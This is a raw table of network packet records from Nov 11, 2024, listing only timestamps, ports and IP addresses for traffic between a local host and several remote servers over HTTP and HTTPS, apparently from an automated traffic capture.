Nov 11, 2024 14:32:04.303780079 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303786039 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303792000 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303796053 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.303800106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303821087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.303834915 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.303870916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303877115 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303894997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303900003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.303900957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303911924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303917885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.303922892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.303961039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.304074049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304080963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304092884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304099083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304105997 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304116964 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304124117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:04.304132938 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:04.304179907 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:05.527364016 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:05.527409077 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:05.527497053 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:05.527720928 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:05.527735949 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.122770071 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.144608021 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.144627094 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.145733118 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.145795107 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.155147076 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.155222893 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.155893087 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.155906916 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.187624931 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.187669992 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.187736988 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.187966108 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.187978983 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.202375889 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.291706085 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.291738033 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.291788101 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.292120934 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.292131901 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.363879919 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.363935947 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.363969088 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.363986015 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.364013910 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.365411997 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.365418911 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.389931917 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.389976978 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.390032053 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.390284061 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.390299082 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.396337032 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.396406889 CET	443	49734	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.396464109 CET	49734	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.779968977 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.780239105 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.780263901 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.781167030 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.781327009 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.781498909 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.781549931 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.781627893 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.781635046 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.829066038 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.882513046 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.882766962 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.882781029 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.883105040 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.883402109 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.883461952 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.883536100 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.931335926 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.978317976 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.978620052 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.978641987 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.979731083 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.979801893 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.980094910 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.980168104 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.990696907 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.990746021 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.990776062 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.990803957 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.990818024 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.990865946 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.990871906 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.991939068 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.991997004 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.992002964 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.996222019 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:06.996277094 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:06.996282101 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.033705950 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.033727884 CET	443	49737	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.049338102 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.049364090 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073374033 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073410988 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073441982 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073456049 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.073468924 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073479891 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.073483944 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.073512077 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.074054003 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.080595016 CET	49737	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.106348038 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106393099 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106400967 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.106419086 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106476068 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.106492043 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106731892 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106761932 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106782913 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106781006 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106786966 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.106794119 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106852055 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.106858015 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.106898069 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.107448101 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.109874964 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.109908104 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.109932899 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.109940052 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.109977961 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.130515099 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152662039 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152731895 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152759075 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.152767897 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152779102 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152817011 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.152827978 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.152870893 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.152935028 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.153477907 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.153537035 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.153537989 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.153548002 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.153593063 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.155277014 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.155350924 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.155381918 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.155397892 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.155409098 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.155450106 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.158711910 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.158725023 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.159476042 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.159542084 CET	443	49736	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.159605026 CET	49736	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.161036968 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.162652969 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.162691116 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.162715912 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.162724018 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.162767887 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.166871071 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.170855999 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.170895100 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.170933962 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.170941114 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.170983076 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.174968004 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.179039955 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.179085016 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.179099083 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.179111004 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.179152966 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.183408976 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.187259912 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.187299013 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.187309027 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.187320948 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.187361002 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.187366962 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.191204071 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.191267967 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.191274881 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.195591927 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.195641994 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.195647955 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.199784994 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.199856997 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.199862957 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.203537941 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.203618050 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.203624964 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.211129904 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.211205959 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.211211920 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.211580992 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.211632013 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.211637974 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.233926058 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.233969927 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234005928 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234008074 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.234031916 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234051943 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.234364033 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234407902 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234411955 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.234422922 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.234456062 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.234462976 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.235140085 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.235188007 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.235202074 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.235429049 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.235483885 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.235492945 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.238115072 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.238184929 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.238204956 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.240351915 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.240411997 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.240431070 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.242686033 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.242743969 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.242769003 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.244812965 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.244869947 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.244878054 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.247035980 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.247101068 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.247121096 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.249044895 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.249104023 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.249123096 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.251190901 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.251244068 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.251261950 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.253319979 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.253386974 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.253401995 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.255755901 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.255804062 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.255812883 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.255983114 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:07.256030083 CET	443	49735	142.250.185.132	192.168.2.4
Nov 11, 2024 14:32:07.256074905 CET	49735	443	192.168.2.4	142.250.185.132
Nov 11, 2024 14:32:08.442389965 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:08.442428112 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:08.442485094 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:08.442692041 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:08.442704916 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.035294056 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.035511017 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.035537004 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.036405087 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.036482096 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.037358046 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.037415981 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.037522078 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.037532091 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.078970909 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.206151009 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206203938 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206235886 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206306934 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.206335068 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206402063 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206454992 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.206463099 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.206501961 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.206681013 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.211647987 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.211703062 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.211709976 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.266268015 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.266285896 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.287184000 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.287220955 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.287283897 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.287296057 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.287349939 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.287420988 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.289158106 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.289186001 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.289213896 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.289222956 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.289264917 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.294969082 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.300770998 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.300801039 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.300965071 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.300983906 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.303375959 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.305001020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 11, 2024 14:32:09.306624889 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.306705952 CET	49730	80	192.168.2.4	185.215.113.206
Nov 11, 2024 14:32:09.312468052 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.312491894 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.312544107 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.312552929 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.315361023 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.318367004 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.323817015 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.327383995 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.327392101 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.341985941 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.343483925 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.343492985 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368004084 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368093014 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368122101 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368165016 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368170977 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.368186951 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.368202925 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.368230104 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.368235111 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.369071007 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.369098902 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.369126081 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.369131088 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.369138002 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.369179010 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.370040894 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.370090008 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.370095015 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.373341084 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.375355005 CET	49744	443	192.168.2.4	142.250.184.206
Nov 11, 2024 14:32:09.375361919 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.377371073 CET	443	49744	142.250.184.206	192.168.2.4
Nov 11, 2024 14:32:09.377408028 CET	443	49744	142.250.184.206	192.168.2.4
